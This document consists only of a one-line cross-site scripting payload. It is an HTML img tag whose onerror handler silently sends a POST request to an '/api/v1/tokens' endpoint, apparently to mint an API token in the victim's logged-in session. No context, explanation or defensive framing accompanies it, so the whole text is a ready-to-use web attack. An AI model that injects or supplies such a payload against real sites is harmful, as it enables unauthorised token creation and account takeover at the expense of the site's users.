<img src=x onerror=fetch('/api/v1/tokens',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"name":"x"}'})>